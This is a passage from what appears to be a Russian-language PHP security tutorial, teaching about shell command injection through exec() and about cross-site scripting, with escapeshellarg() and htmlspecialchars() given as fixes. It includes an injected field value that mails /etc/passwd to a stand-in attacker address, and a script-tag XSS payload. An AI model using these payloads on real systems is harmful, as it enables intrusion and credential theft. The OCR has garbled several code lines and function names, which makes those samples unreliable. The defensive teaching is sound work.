</body> </html>
В этом примере не видно ничего ужасного. Однако проблема в том, что вводимые пользователем данные не подвергаются проверке. Представим себе, что будет, если для filetype в форме задать значение "html; cat /etc/passwd | mail hacker@theirdomain. com"? Сначала, как и предполагалось, будет выполнено Is * html, а затем выполнена команда cat /etc/passwd | mail hacker@theirdo- main.com, которая отправит файл /etc/passwd электронной почтой взломщику. Проблема решается, если предварительно пропустить введенные данные через функцию escapeshellarg(). Ниже приведен код, модифицированный соответствующим
<?php
if (isset($_GET[" filetype" ]))
exec("ls*." . escapeshellarg($_GET["filetype"]));
<html> <body> <form method="get"> Search Directory for files of type: <input type="text" name="filetype"> <input type="submit"> </form> </body> </html>
Повышенную осторожность надо проявлять не только в тех местах, где введенные пользователем данные могут создать команду ехес(). Аналогичные атаки могут происходить при помещении данных пользователя в команды SQL. Особенно следите за преобразованием управляющих символов SQL с помощью addslashes() и родственных функций.
Уязвимость типа Cross-Site Scripting
При создании доски объявлений или аналогичных приложений, в которых пользователю возвращаются введенные им данные (это может быть даже вход в систему, если пользователю возвращается приветствие "Hello $username"), необходимо следить за уязвимостью типа cross-site scripting. Этот вид уязвимости связан с тем, что пользователь может поместить на страницу произвольные теги HTML и код. Возьмем следующий небольшой фрагмент кода:
<?php
if ($_GET['name'])
. $ GETfname']);
?> :
Если вызывать этот сценарий со строкой запроса ?name=<script>Malicious Codec/script^ то можно вставить любой код. Можно также включить теги форм, объектов и встраивания, вызывая злонамеренное модифи
цирование кода. РНР предоставляет различные функции, позволяющие избежать воздействия этой уязвимости на сценарии. При выводе любых данных, введенных пользователем, обеспечьте их безопасность с помощью функции htmlspecialchars(). Следующий код является модификацией приведенного выше, защищенной от уязвимости cross-site scripting:
<?php if
echo("Hello " . htmispeciaichars($_GET['name']));